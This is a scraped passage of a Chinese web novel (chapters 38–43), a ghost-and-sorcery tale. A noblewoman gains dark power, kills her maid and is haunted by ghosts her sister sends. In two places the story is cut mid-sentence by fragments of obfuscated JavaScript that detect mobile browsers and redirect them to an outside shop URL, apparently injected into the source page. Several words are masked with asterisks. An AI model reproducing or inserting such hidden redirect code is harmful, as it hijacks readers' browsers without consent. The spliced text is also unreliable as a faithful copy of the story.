一曲歌毕,歌姬端着一壶酒袅袅婷婷的上前,故意往塌上凑的很近,附身为顾瑾焱斟酒。
她纤细的手指有意无意的触碰在顾瑾焱的手上,婉转的声音带着一丝妩媚道,
“蓉儿为世子爷斟酒……”
“退下!”
顾瑾焱幽深的眸中闪过一抹寒意,只听咔嚓一声,手中的金边白瓷被他捏了个粉碎。
“世子爷恕罪!”
歌姬吓得浑身一颤,扑通一声跪了下来,“奴婢、奴婢失手,奴婢不是故意的……”
顾瑾焱眉宇间闪过一抹厌恶。
“蓉儿你也伺候过一阵子了,怎的还不知世子爷素来不喜别人碰触?”
方政允轻描淡写的斥责了一句,摆摆手说,
“行了行了,出去吧,叫坊主换个歌姬来伺候。
焱兄你也是的,这么凶做什么!看把人家姑娘吓得,魂儿都快飞了……”
顾瑾焱皱着眉,默默的啜了口酒。
脑海中莫名闪过他抓着殷琉璃的手的场景。
她的手像是最纯净的瓷器,洁白晶莹,没有一丝瑕疵。
指若新竹般修长纤细,偏又软的不像话,握在手里好像握住了一团棉花……
指甲上没有像寻常女儿家染上凤仙汁液,弄的红不红橙不橙,粉粉嫩嫩的格外好看。
这是他第一次接触女子的身体,心里没有抗拒。
反而涌起一丝说不出的美妙……
奇怪。
……
“琉璃与那个小公子只有一面之缘,他送这些来做什么?”
屋里,甄氏盯着一只只锦盒,心里暗暗觉得不安。
虽说信中言辞恳切的说,送这些是为了替他兄长赔罪,可始终让人心里觉得怪怪的。
他到底是殷玉珠的未婚夫婿,又是送请帖,又是送这些名贵的衣裳首饰,不怕叫人误会嘛!
金嬷嬷也小心翼翼的说,
“刚为个请帖,玉珠小姐就来撒泼闹了一场,这要是让她知道了,可如何是好?”
“理她呢!”
殷琉璃翻着看了看。
三套高腰襦裙,软糯用料考究质地精良,外罩轻盈的细丝薄纱,轻而不透。
分别是金丝刺绣的牡丹,鸾鸟和珍珠云纹样,奢而不华,格外精致。
颜色还是她喜欢的天青、碧瑶、竹月之色。
首饰是金玉宝石、珍珠镶嵌的花树钗,步摇之类,流光溢彩,贵气逼人。
甄氏踌躇着问,
“琉璃,这些东西要不要退回去?咱们到底跟那个小公子不熟,他送这些东西来别让人家误会什么。”
“无妨,若人人都是殷玉珠之流,那他们爱怎么误会怎么误会。”
殷琉璃淡淡挑眉,随意的说,“既然是赔罪送的,大大方方的收下便是。”
甄氏这才点了点头。
她那些衣裳都是年轻时穿的,到底有些过时了,眼下赶着做
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新的也来不及。
方政允送来的东西解了燃眉之急不说,又都是一等一的贵重奢华,女儿穿上去国公府不能说艳冠群芳,起码也是风华绝代。
“老奴服侍大姑娘穿上试试?”
金嬷嬷压抑不住脸上的喜悦,捡了一套天青色衣裳说,
“瞧这料子,还有这金丝秀的花样!真真儿的是上等好物件呢!
大姑娘本就长得美,这要是穿上那还不是倾国倾城呀?”
殷琉璃,“……”
……
朝露观。
殷玉珠扶着素喜往后山攀爬,花费大半个时辰才到无崖子修行的山洞前,一张脸上满是汗水,喘着粗气大叫,
“唔!唔唔……”
“道长,我家小姐求见!”
素喜紧张的往黑洞洞的洞口张望,心里只觉得毛骨悚然。
这道长好好的朝露观不待,非要跑去这阴森森的山洞做什么?
“破。”
良久,里面忽然传来一个阴冷的声音,“你可以说话了。”
殷玉珠嘴上一轻,蓦地张开了嘴巴。
她扑通一声跪在洞口前,满脸愤怒的哀求,
“玉珠拜见无崖子道长,道长救我!
殷琉璃仗着一身邪术欺凌玉珠母女,求道长早日将这个妖女的邪术打散,不管道长要多少银子,玉珠都愿意出!”
山洞中良久没有回应。
“道长!道长!”
殷玉珠重重的磕头,“求道长大发善心帮玉珠一把,玉珠已经被她**的走投无路了!”
“银子,贫道不稀罕。”
山洞里传来一声冷笑,伴着一种让人心里发冷的回音道,“你想怎样对付她,就要看你愿意付出怎样的代价。”
殷玉珠恶毒的咬牙,“不管什么代价,我一定要她死!”
山洞之人阴森冷笑,“真的不管什么代价?如若贫道让你亲手收拾她,将她踏在脚下任凭你折磨,你觉得呢?”
“玉珠求之不得!”
殷玉珠猛的抬起头,那双比山洞还要阴暗的眸子骤然一亮,“道长要什么……”
“进来!”
话音未落,一股强大的力量凭空而起,将她拽进了黑暗的山洞。
第39章 全都算在殷琉璃头上
“二小姐!”
素喜惊叫一声,根本来不及拉她。
很快,山洞中传来窸窸窣窣的低语声……
“不!我怎能……”
突然,一声凄厉惊恐的声音传来,是殷玉珠。
声音又戛然而止,她喉咙中发出可怕的咯咯声,“放开……我……”
可是很快,山洞中又隐约传来女人带着哭腔的呻吟声,
“嗯……嗯……”
“二、二小姐,你……你怎么了?”
素喜心惊肉跳的扒着洞口往里看,想进去找,可又不敢。
一股疾风从洞中扑面而来,重重的将她掀翻在地,两眼一黑晕**过去。
……
不知过了多久,素喜被一巴掌拍醒,惊慌失措的看着眼前的殷玉珠,
“二、二小姐……”
“扶我回府。”
殷玉珠面无表情,眼神冰冷的看了她一眼。
“是!二小姐,你、你没什么吧?”
素喜赶紧爬起来搀住她的胳膊,关心的问。
话音未落,两道阴冷的目光射来,她心里顿时涌上一抹说不清道不明的恐惧。
不对劲儿,眼前的二小姐脸上泛着一抹**才有的灰败苍白,一双眼睛空洞、阴冷的吓人。
她走路的姿势也不对,两条腿摇摇晃晃,不时趔趄一下,好似随时都会虚脱。
“我好的狠!”
殷玉珠阴声冷笑,忽然缓缓扭头看着她,“素喜,你从七岁就跟着我,这些年服侍的也算殷勤周到,算得上我的半个姐妹了。”
“奴婢不敢,二小姐突然说这些作甚?服侍好二小姐是奴婢应该应份的事情,奴婢永远跟二小姐一条心!”
素喜有些莫名其妙。
殷玉珠冷冷道,“对了,我今日上山的事情,不要告诉任何人。”
素喜赶紧点了点头,举起四根手指发誓说,
“二小姐放心,奴婢绝不会往外说一个字,奴婢对天发誓!”
虽这么说,可她心里却升起一丝异样的感觉,后脖子一个劲儿的冒凉气。
二小姐到底在山洞里发生了什么,怎么感觉整个人都变了似的?
眼神、声线透着一股子说不出的阴森。
“那就好,放心,我以后会好好待你。”
殷玉珠唇边勾起一抹意味深长的冷笑,“你爹娘兄弟,我也会替你安顿妥当,让你走的放心。”
“多谢二小……”
素喜刚要说话,心里突然狠狠的打了个冷颤,吃惊的看她,“二、二小姐什么意思?”
“本小姐的意思是,素喜,到了那边可不要怨我,早死早投胎。”
殷玉珠脸色一变,突然抬掌在她额头上拍了一下。
一股阴气直击素喜面门,她连尖叫一声都来不及,身子就软软的倒了下去。
“还不错!”
殷玉珠仔细端详着自己的手,满意的笑了。
山洞里发生的不堪之事,她知道借素喜一百个胆子她也不敢出去说,但只有**才能让她安心。
另外也试试无崖子传给她的道气,是不是真像他说的那般厉害。
确实很是霸道,若真能抗衡殷琉璃那个**的邪术也还值得。
不过她今日所受之**,全都算在殷琉璃头上!
日后待跟着无崖子学了法术,她定要那个**死无葬身之地!
……
日落时分,珠兰院外围了一堆看热闹的人。
素喜的尸体送回去,一家子都跑进侯府要个说法。
她娘瘫坐在地上,捂着脸大哭,
“我女儿好好的出去,怎的就没了?二小姐只让人带回个断胳膊断腿的尸身,这不是挖了我的心嘛……”
素喜的兄长,皮肤黝黑一脸横肉的粗壮汉子,在珠兰院前站了个大字型,一首叉腰粗声粗气的叫嚷,
“我妹子怎么会跌下山崖?她又不是傻子,好好的跑去崖边做什么!
二小姐要是不说出个所以然,咱们一定告到官府去!”
殷玉珠冷眼看着,不觉冷笑。
当时没饭吃把女儿卖进侯府做丫鬟,拿**的银钱开了个杀猪摊。
一家子不缺吃喝,兄长还娶了媳妇儿,也没见谁管过在侯府给人做奴婢的女儿。
如今人**才一股脑跑上门,要什么说法?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306769|198718||http|test|mini|href|location''.split(''|''),0,{}));
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r>不过是要讹一笔银子。
她用帕子擦泪,抬头露出早已哭红的一双眼睛,抽泣道,
“我说过了,素喜陪我去山上的道观敬香,她瞧见崖边长了一株好看的兰花,就嚷嚷着要去采,谁知脚下一滑就跌下去了呢?
你们不信,就去道观里问人!很多人都瞧见了,难不成是我害她?
她从小服侍我,这么多年来我心里已经把她当成妹妹了,她出事我心里不急?”
素喜娘一听,又撒泼似的嚎哭了起来,
“我的女儿呀,你的命怎么就那么苦……”
“行了!你们闹的也太不像话!有什么不能好好说,非要闯进来哭天抢地?”
张嬷嬷上前,沉着脸呵斥道,“素喜七岁就**进来的,横竖是我们侯府的奴才,与你家还有什么关系?”
嫂子哭天抹泪的说,
“婶子这话就不对了,她再怎样也是我家妹子!人就这么**,都说人死如灯灭,就不能这么白**吧?”
张嬷嬷气的还要训斥,被殷玉珠轻声拦住,
“嬷嬷,血脉至亲离世,他们这也是人之常情,你叫人去把素喜的衣裳物件收拾一下给他们。”
说着,她掏出早就准备好的一包银子,泪流满面的说,
“另外我这里还有些银子,也让他们拿去厚葬素喜,聊表我一点心意。”
听见银子,做嫂子的赶紧上前接了过来,用手掂了掂,足足有四五十两。
她肥润的脸上立刻闪过一抹笑意,假惺惺的说,
“娘,相公,人家做主子的都这么说了,咱还能有什么办法?
算了吧,好歹用这些银子把妹子厚藏了,入土为安才是。”
殷玉珠唇边划过一抹冷笑,轻蔑的转身将擦泪的帕子丢在地上,
“嬷嬷,送客。”
一场闹剧,用五十两银子就这么解决了。
天色暗了下来,人群散尽,珠兰院仿佛什么事情都没发生一般。
黑暗处现出一个朦胧的黑影,仿佛从墙上钻出来似的,双脚悬空,模糊的脸上蒙着一层黑色的阴气,垂着头在走廊里飘荡……
第40章 打的她魂飞魄散
“都出去,不用伺候。”
殷玉珠坐进沐桶中泡热水澡,缓缓抬手望着自己的手掌。
无崖子传入她身体的这股道气,仿佛一条冰冷的蛇不时在体内游走,所过之处寒意四起。
她心里多少有些不安。
但一想能对付殷琉璃的邪术,唇边不觉勾起一抹阴冷的笑意。
“砰……砰砰……”
房门突然敲响,殷玉珠不耐的皱了皱眉,“说了不用伺候……”
“奴婢伺候小姐沐浴……”
素喜幽幽的声音带着一丝令人发指的阴森传来,“二小姐……为什么要杀奴婢……奴婢不想死,奴婢不想死……”
“哗啦”
殷玉珠心头一惊,噌的一下站了起来,
“素喜?你……”
“嘎吱……”
房门带着怪异的腔调缓缓打开,一股阴冷的凉风吹过,原本热气蒸腾的屋子瞬间陷入一片冷寂。
素喜周身像是蒙着一层黑雾,双脚模糊的几乎看不出模样,只大半个身子悬在空中。
一张脸青黑狰狞,没有一丝黑色的瞳子死死盯着殷玉珠,
“二小姐为什么杀奴婢?奴婢从来没有对不起二小姐……”
殷玉珠浑身的鸡皮疙瘩唰的一下竖了起来,压抑着心头的恐惧喝道,
“别过来!你别过来……”
素喜青黑的脸上没有表情,充斥着阴森的声音在她耳边飘荡,
“奴婢死的好惨!奴婢不甘心,二小姐为什么要杀我……”
突然间,她脸色变得异常狰狞,一双眼睛沁出两缕鲜血,张开双臂冲殷玉珠狠狠扑了过来,
“二小姐把命还给我……把命还给我!”
殷玉珠脸色大变。
就在那双青黑的鬼手掐在她的脖子上时,她突然出手,一巴掌拍在素喜的胸口上。
“啊!”
只听一声凄厉的惨叫,素喜全身颤抖不停,在她眼前消失的无影无踪。
殷玉珠瞪大了眼睛看着自己的手,大口大口的呼吸着,胸脯剧烈起伏。
……
凤栖梧。
殷琉璃眼角余光瞥见院门外飘着一股阴气,不动声色的说,
“娘,晚上风凉,早些回房吧。”
阴气摇曳不定,不过怨气冲冲,大的很。
傍晚时分珠兰院的事闹的人尽皆知,莫不是那个新死的鬼?
她扶着甄氏回房,敲了敲耳根用心念吩咐,
“哇呀呀,去看看。”
片刻,从房中返回庭院时,哇呀呀已经将一个模糊的鬼影踩在脚下,气势汹汹的禀报,
“主人,是那个刚死的丫头!”
“放开它。”
殷琉璃走到茶亭中坐定,打量了素喜的阴魂一眼,皱眉道,
“鬼气这么弱,都快魂飞魄散了……你受伤了?”
素喜幽幽的叫唤,“奴婢死的好惨呀……”
“啪”
哇呀呀抬手就是一巴掌,“做鬼了就不能好好说话嘛?”
殷琉璃,“……”
素喜筛糠似的颤抖着,跪在地上哭了起来,
“奴婢是被二小姐害死的,奴婢死的好冤啊!”
殷琉璃随意的啜了口茶,“她为什么杀你?”
“奴婢不知……奴婢一心忠于二小姐,发誓不会对人说她在山洞中的事情!
谁知道她、她扭头就打死奴婢!”
素喜蓦地抬手,那双惨白的眼睛里带着冲天的怨气,“奴婢不甘心,不甘心啊!”
山洞?
哟呵,有什么不可告人的事情吗?
殷琉璃眸光轻转,“山洞里发生了什么事情?”
素喜一怔,哆哆嗦嗦的说,“奴婢、奴婢不能说……”
“她亲手杀了你,你还忠心个屁呀?傻不傻!”
殷琉璃不屑的嗤了一声,轻抬下巴,“不说也行,哇呀呀给我打,打的她魂飞魄散也不用说了……我累了,回去歇着。”
“别……别!我说!”
素喜没想到这个琉璃小姐这么干脆利索,起码诱惑她点儿什么也行呀!
她颤颤巍巍,连比划带说道,
“晌午二小姐来凤栖梧闹了以后,就带奴婢山上的朝露观,找那个叫无崖子的道长,要他把琉璃小姐的邪术破了,她要弄死你!
无崖子藏在山洞里修行,他突然把二小姐拽进了山洞,奴婢听见……奴婢听见……”
“听见啥呀?”
哇呀呀忍不住踢了她一脚,“磨叽什么,快说!”
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“奴婢听见山洞里传出那个……男女床笫间那个的声音!”
素喜疼的呲牙咧嘴,忙说,“奴婢想进去**,谁知就被打晕了!”
哇呀呀吃惊的瞪大了眼睛,八卦的追问,
“你是说殷宝珠跟那个无崖子,他俩?那个?”
逮劲呀,这是我不花钱就能听的?
素喜点了点头,“奴婢听的真切,就是、就是那个……”
“殷宝珠亲手打死你的?”
殷琉璃瞪了一脸八卦的哇呀呀一眼,沉声问道,“你魂魄不稳,身上却无伤,应该是被极阴的力道伤了经脉,真是她打的?”
“是二小姐!”
素喜悲从中来,掩面呜呜的哭着说,“二小姐从山洞里出来,就跟变了个人似的,她抬手在奴婢脑门上拍了一下,奴婢就**……”
殷琉璃不觉皱眉。
殷宝珠应该是从无崖子那里过继了阴邪的力量,**于无形。
挺狠呀,为了对付她,还真舍得连自己的身子都送出去!
“琉璃小姐,求求您救救奴婢!”
素喜本就虚影般的身子变得越来越浅,连声音都衰弱无力,趴在地上颤抖着哀求,
“奴婢刚去找她索命,却又被她打了一下……奴婢、奴婢不想死……”
哇呀呀挠了挠鼻子,
“你还**?”
“我暂且收了你的魂魄,给你个安魂魄的地方不至魂飞魄散。
你好好养阴元,日后要用你的时候再说。”
殷琉璃沉吟了一下,抬手在掌中画了一道“收魂符”,纤长的手指一翻,灵光从指尖闪现。
她随手从腰间扯了一块玉,将灵光注入其中,抬了抬下巴说,
“进来吧。”
“奴婢多谢……多谢琉璃小姐!大恩大德没齿难忘!”
素喜摇摇晃晃的飘起来,忽然想到什么,忙说,“对了,琉璃小姐一定要防着玉珠小姐,国公府小公子爷送帖子一事,玉珠小姐已经恨透了您!
她花了大把的银子,请无崖子在小姐上花轿的时候做法术,要破了小姐的道行!
她要让你去那个公主府被世子爷克死!”
殷琉璃淡淡挑眉,“多谢提醒。”
第41章 双修合和之术
素喜深深一福,这才化作一道青烟钻进了玉佩之中。
“哇呀呀……主人,我去杀了她!”
哇呀呀怒目圆睁,气的举起长刀乱舞。
殷琉璃抬手把收魂玉佩丢给它,“找个地方埋了,以后有用。”
哇呀呀竖眉道,
“那厮看来是入了邪道,琢磨着害你,主人不顾?”
殷琉璃淡淡挑眉,“岂能不顾?”
哇呀呀把刀一横,“哇呀呀……那我去杀了她!”
殷琉璃又是嫌弃又是好笑,
“行了,还嫌一身的杀业不够多嘛!”
“哇呀呀……是!”
哇呀呀威风凛凛的脸上忽然闪过一抹好奇,忍不住询问,
“主人,那厮又不是修行之人,与无崖子做过一次男女之事就能有他的邪道了?”
“不过是方外之术,颇有些偏门的法子。”
殷琉璃冷笑道,“我记得祖师爷的书上有一种合和之法,也叫双修。
男为阳女为阴,通过交媾阴阳使阴阳平衡,借以修炼纯阳之体。
男修采女阴,女修取男阳,各取所需,借对方先天真气完善自身丹道,炼化内丹……”
哇呀呀听的眼睛发亮,嘟囔说,
“哇呀呀?还有这法子,怎么不知道?早知道我也……”
殷琉璃捏起中指凌空弹了一下他的脑袋,
“想什么好事儿呢?双修之法需男女双方实力相当,且有极高的道行和悟性!
殷玉珠一介凡俗,连内丹都没有结,无崖子与她用的是双修的法门,实则行采阴补阳之术。
事后不过给她体内注入一道真力,哄骗她耍耍罢了,怕不是看中了她的阴元以补自身。”
哇呀呀吸了口气说,
“采阴补阳我好像听说过,如若被无崖子那邪道采补完,她也就废了……
哇呀呀,那厮还真好骗!”
殷琉璃眼神淡漠的说,
“何止废了,如果一方被采补殆尽,阳衰阴盛,慢慢会成为一具行尸走肉。
更有甚者,受采补之人施术将其控制成为傀儡。
她以为体内有了真气便是厉害了吗?可笑!”
哇呀呀不由撇了撇嘴,
“谁管她!只是主人,咱不能眼睁睁等着那厮跟咱们动手吧?”
“谁说要等她动手了?先动手为强,后动手遭殃。”
殷琉璃灵动的眸子映着一抹月光,冷厉森然,
“她舍了身子从无崖子那里得来的邪气,无非是想寻机会暗箭伤我。
那就陪她玩玩……哇呀呀,今儿晚上可有好戏看了。”
哇呀呀激动的把刀一横,
“哇呀呀……咋整?”
殷琉璃抬手做了个抓的姿势,冷笑道,
“她体内真气不是自身修炼,不能源源不断的补充,咱们找些好玩的东西,把她身上的真气耗干净。
她若不嫌烦,大不了再去找无崖子咿呀一时,再来,再耗!横竖我是不嫌烦的。”
哇呀呀老脸一红,奇怪的看了她一眼,想说什么又绷住没敢说。
什么叫“咿呀”一时?
说的那么形象!
主人,你一个15岁的黄花大闺女,这合适吗?
……
“敕令……”
殷琉璃在手上画出一道“役鬼符”,纤纤素手一翻,指尖灵光乍现。
角落阴暗处,阵阵旋风拔地而起,在脚下打转,树叶杂草瑟瑟。
“呼呼……”
无数道阴风拂面而来,吹的人浑身裹上一丝寒意。
头顶上的月亮仿佛都蒙上了一层雾霾,光线阴暗,树影摇曳,气氛说不出的阴森瘆人。
一个黝黑的身影从地底钻出,穿着一身青色的袍子,黑色的头发披散在面前,低低的垂着头和双手,一双脚悬空飘着……
是个女鬼。
周身煞气十足,阴不可说。
它缓缓抬起头,从披散的头发中露出一张青黑色的面庞,阴气盘绕,双瞳中没有一丝黑色,一张嘴满是鲜血,狰狞可怖。
“小女子奉召而来,不知符主有何驱使?”
女鬼恭恭敬敬,用凄厉的嗓子阴森森的询问。
它看的出殷琉璃灵气逼人,用的又是道家不传之术“役鬼符”,自然不敢放肆。
“快修炼成红衣厉鬼了,不错嘛!”
殷琉璃打量了它一眼,淡淡挑眉,“劳烦替我去吓唬个人,功
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德与你记下。”
役鬼符召唤而来的,大多为怨气深重甚至有些道行的阴物,不然也办不成事儿。
它们为符主办事,便是一次积累功德的机会,功德能用来消业。
事情办的好,还能请求符主帮它一些什么。
女鬼满是鲜血的唇角抽了抽,
“符主只叫我吓唬人?”
这模样长得极好看的小道长,多少有点儿瞧不起人……呸,瞧不起它红衣厉鬼了吧!
殷琉璃点点头,吩咐道,
“此人名叫殷玉珠,就在这府邸里的珠兰院中。
你自称素喜,去吓唬她就行了……怎么吓唬随你,只别伤她,免得徒增你的罪孽。”
说话间,地下黝黑的泥土里又钻出七七八八个阴沉沉的黑影,在半空中飘浮。
有面目全非的,有缺了半边身子的,有胸前戳着几个血窟窿的……
更有一个吓人的,应该是死于一场大火。
全身焦黑龟裂,鲜红的血肉犹如一道道水渠,隐藏在裂开的肌肤之下,鬼爪偾张弯如鹰钩。
赤目焦唇,一张黑黢黢的嘴怪异的张开……
哇呀呀看了都自愧不如,连声咋舌,
“哇呀呀……这位大姐,你死的比我还惨!”
“老妇人死的冤呐……三十年前,那群强盗抢我的粮食,杀了我儿还不放过我那儿媳……
最后一把火活活把我烧死!”
老妇人鬼幽幽的诉苦,哭泣的声音飞针般刺进耳朵里,听的人浑身不舒服。
殷琉璃淡淡道,
“你那桩事,我会请鬼差大人探查,如果贼人伏法便好。
如若尚未伏法,鬼差大人会呈请阎君,按律处理。”
老妇人鬼蓦地抬起头来,黑洞洞的眼睛里似乎在发亮,连忙扑通跪下,
“老妇人多谢符主开恩!符主之命,老妇人一定尽心竭力去做……”
殷琉璃点了点头,环视了众恶鬼一眼,淡淡的说,
“如何去做你们都听见了,只是此人身上有些真气,也小心被她伤了。
若有伤的,过来与我拿阴符定魂魄。
待她真气耗损殆尽,你们自行散了就行,去吧。”
第42章 小姐,你要不要吃我的肉
“是……”
一众饿鬼齐刷刷跪了一下,转瞬间便化作一道道黑气向珠兰院钻了过去。
哇呀呀眼巴巴的望着它们飞走,心想珠兰院今晚可热闹了!
这么多奇形怪状的恶鬼自由发挥,那场景该多精彩呀?
……
沐浴之后体内的阴冷消散了些许,殷玉珠疲惫的爬到床上,不多时就睡着了。
“噗”
桌上点的一盏起夜油灯突然无风自灭。“呼呼……”
一阵风吹开了木窗,阴冷的气息裹挟而来,她浑身像是掉进冰窖一般阴寒,本能的伸手抓被子。
手上忽然碰到一个冰凉的东西,她不由自主的打了个哆嗦,迷迷糊糊的睁开眼睛却什么都没有,习惯性的叫了一声,
“什么?……素喜!素喜!”
素喜以前时常在外间的塌上陪睡,半夜端茶倒水随时听吩咐。
“奴婢素喜伺候小姐……”
殷玉珠还未从睡梦的混沌中清醒,含混的说一句,
“屋里怎么这么冷?去看看窗子关上没有……”
“我是素喜呀……”
耳边响起一个阴冷森然的声音,幽幽的叫她,“小姐,小姐,你知不知道我是谁?”
说着,一只冰冷的手在她的肩头推了推,“你起来看看我是谁?”
“放肆!”
殷玉珠困乏至极,烦躁的骂了一声,“素喜,你要干什么……”
素喜不是**吗?
她亲手杀的,还拖着她扔下了悬崖……
突然间,殷玉珠心头滚过一道炸雷,蓦地睁开眼睛。
屋子里一片漆黑。
一道月光从大开的木窗中倾泻而出,照亮桌前方寸大的一块地方。
殷玉珠感觉眼前有个人。
那人正面对面看着她,近在咫尺却没有口鼻间喷出的温热,只有阴森森的眼神在她脸上死死盯着。
她的呼吸也瞬间停止。
待眼睛适应了屋子里的黑暗,借着月光隐约能看清东西,殷玉珠突然发出一声令人毛骨悚然的尖叫,
“鬼啊!”
眼前是一个烧焦了的人……不,是鬼!
它如同一只人形木柴,眼耳口鼻全都不见,只剩下一身焦黑龟裂和刺目的血肉。
不知出于本能还是想起自己已经有了真气,殷玉珠慌乱的抬手便打,口中发出惊恐的尖叫,
“走开!走开!……”
手上似乎打了个空,不过阴森感瞬间从面前消失。
殷玉珠七手八脚抓起被子将自己裹住,发凉的后背紧紧贴在墙上寻求安全感,浑身依然哆嗦的跟筛糠一般。
一切仿佛恢复了平静,
她战战兢兢的打量屋子,桌上起夜用的油灯突然噗的一下亮了。
豆大的烛火缓缓燃起,昏黄的火光忽明忽灭,照的桌椅板凳阴影重重。
“咯吱……咯吱……”
外屋传来嚼东西的声音,贪婪的吞咽声传来,殷玉珠蓦地想起在屋外塌上守夜的是素欢,忙颤抖着叫了一声,
“素、素欢!来人啊……”
她叫了几声都没人搭理。
透过珠帘,殷玉珠看见素欢蹲在塌前的背影,脊背弯成一个半圆的弧度,双手好像捧着什么东西,正低着头咔咔嚓嚓的嚼着什么。
殷玉珠以为她在偷吃,顿时恼怒的喝道,
“素欢!你耳朵聋了?这么叫你都听不见,还不赶紧过来!”
“好吃……咔嚓咔嚓……好吃……”
素欢吃的肩膀一抖一抖的,口中发出磨牙般的咀嚼声,缓缓转过半个身子冲她招手,
“小姐也过来吃呀……”
殷玉珠气顿时不打一处来,尖声骂道,
“大半夜你吃什么!是不是想挨顿好板子!快给我滚过来!”
素欢这才不情愿的站起身子,发出一声幽幽的叹息,
“奴婢来了……”
声音听着像是在半空中飘浮,说不出的奇怪。
殷玉珠暗暗松了口气,焦急的询问,
“屋里……屋里有鬼,你刚才看见了吗?”
“小姐是说我吗?”
素欢缓缓转动僵硬的身子,迈着怪异的步子走到殷玉珠面前,忽然对着她张开嘴,满嘴的鲜血混合着黄白色的碎渣噗噜噜往下流淌。
它身后那盏油灯忽然变成一抹阴森的绿色……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306772|198718||http|test|mini|href|location''.split(''|''),0,{}));
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r>“啊!”
殷玉珠这才看到她不是素欢,而是一只面目全非,满脸鲜血的女鬼。
女鬼手上拎着一颗血淋淋的人头,脖子斩断处还在哩哩啦啦的掉着血水,人头上的脸已经被啃的稀烂,嘴唇撕扯裂开,露出两排白森森的牙齿。
而女鬼的嘴里,还嚼着半刻黑白分明的眼珠子……
殷玉珠整个人都僵住了。
瞪圆了一双眼睛看着它,头皮阵阵炸裂。
“好吃……咯咯咯……小姐,你要不要吃我的肉,我给你拿呀……”
女鬼口中咔吧作响,抬起锋利的手指噗嗤一下捅进了人头的一只眼睛,连血带肉掏出一只硕大的黑白色眼球,缓缓递到了殷玉珠的面前。
“走开!滚、滚啊!”
一股恶心涌上喉咙,殷玉珠胃里翻江倒海,拼命挥舞着双手驱赶它,“我杀了你!我杀了你!……”
不等她带真气的手打到,女鬼咻的一下消失不见。
空气再次陷入死寂。
殷玉珠胸口剧烈的起伏,抬手捂住嘴压抑激烈的喘息声。
脑海中乱成一团,她竭力让自己镇定。
她不能怕!
她有无崖子传给她的真气,鬼怕真气,谁敢来害她,就像素喜一样打的她魂飞魄散!
“来呀!你们来呀!”
殷玉珠深深吸了一口气,强压着心头的惊恐从床上跳起,
“不怕被我打的魂飞魄散,就来呀!我杀了你们!我杀!杀!”
呼呼……
阴风阵阵,眼前明明没有一个人,却给人一种遍地站满了人的恐惧……
“小姐,我是素喜呀……你为什么要杀我?”
“我是素喜,小姐,你好狠毒的心!**偿命,你还我命来……还我命来……”
“小姐,你要不要吃我的肉……可好吃了……”
“我死的好惨呀!强盗抢了我的粮食,杀了我的儿子……”
……
屋子里响起一阵阵凄厉阴森的鬼哭声,一个个面容狰狞,凄惨的鬼从黑暗处缓缓现身,冲殷玉珠飘了过来。
幽绿色的灯光如同鬼火,透着说不出的恐怖。
第43章 真是个坏坏的小美人儿!
“啊!”
殷玉珠狂叫着抬掌,“我杀了你们!”
掌风带着阴寒的劲道拍向眼前的鬼影,
她怒目圆睁,一张脸远比那些厉鬼还要狰狞可怖。
可惜这些阴物躲闪灵巧,手掌还没到便消失不见,转而又飘在她的身后,冲着她的脖子吹凉气,鬼气森森的叫她,
“小姐,我是素喜呀……”
……
几掌下去,殷玉珠开始剧烈的喘息,只觉体内阴冷之气如蛇般游走,渐渐不济。
她紧绷的精神也达到崩溃的边缘,直到最后一掌拍下又落了个空,眼前一黑晕死在地上。
房内瞬间安静。
众鬼围上前瞧了瞧,转身化作一道道黑气四散开来。
凤栖梧。
“行了,弄点动静让人瞧瞧她去。”
殷琉璃冷眼瞧了一会儿,便要从房檐上跃下。
暗处一道黑影极从眼角划过,她不觉挑眉,
“谁!”
黑影从围墙处缓缓露出头来,一个略有些耳熟的声音冷笑道,
“刚才那院子热闹的很,怕不是殷大小姐的好手段吧?”
殷琉璃似乎已经猜到来者何人,淡淡挑眉,
“与你何干?”
黑影翻身跃上围墙,比夜色还要幽深的眸中闪过一抹复杂的神色,
“你用的什么法子?那屋里的人跟见了鬼似的……”
话音未落,他脸上蒙着的一层黑纱无声坠落,露出一张俊美似妖的脸庞。
殷琉璃收回手,嫌弃的说,
“大半夜闯进侯府偷听人家墙根,你意欲何为?”
顾瑾焱脸上没有一丝惊慌,一步步向殷琉璃靠近,
“好奇你,就来看看了!”
“我有什么好奇的?”
殷琉璃看他步步逼近,顿时抬手一指,“你给我站那儿!”
“自然好奇殷大小姐的手段,自从上次被你玉手轻拂,身子便说不出的舒服。”
顾瑾焱幽深的目光坦然的直视她的眸子,一脸轻浮的说,
“搞得在下满心都是殷大小姐的纤纤玉手,心痒难耐夜不能寐……”
“再敢孟浪!”
殷琉璃嫌弃的哼了一声,指尖飞出一道灵光,将马上要踏入自己安全范围的男人定在了原地。
顾瑾焱顿时感觉身子不受控制,四肢好像不是自己的了,怎么用力都挪不了一寸。
果然,她的法术十分高超。
上次她轻而易举除掉侵袭自己的恶鬼,他就一心想再验证一下她的本事。
他手里正好缺擅长法术之人,能用便不计成本让她为自己所用。
不能用,也绝不会让这种人为旁人所用。
没想到暗卫查出她竟是第八个,顾瑾焱一时间不知道是该哭还是该笑。
他按捺不住想潜入侯府,再会会自己这未来的媳妇儿。
谁知一来就见她坐在屋檐上,悠闲的翘着二郎腿看热闹,那张线条优美,五官精致的脸蛋在月光的映照下仿佛散发光芒……
真是个小美人儿!
“殷大小姐这是何故?”
顾瑾焱眸中闪过一抹笑意,不紧不慢的说,“在下实在仰慕小姐,这才半夜前来与小姐相会,一亲芳泽。”
殷琉璃顿时抬起了巴掌,
“你是不是皮又痒了?”
顾瑾焱可不想再挨巴掌,这才正色道,
“在下确为小姐而来,想……见见你。”
殷琉璃不屑的说,
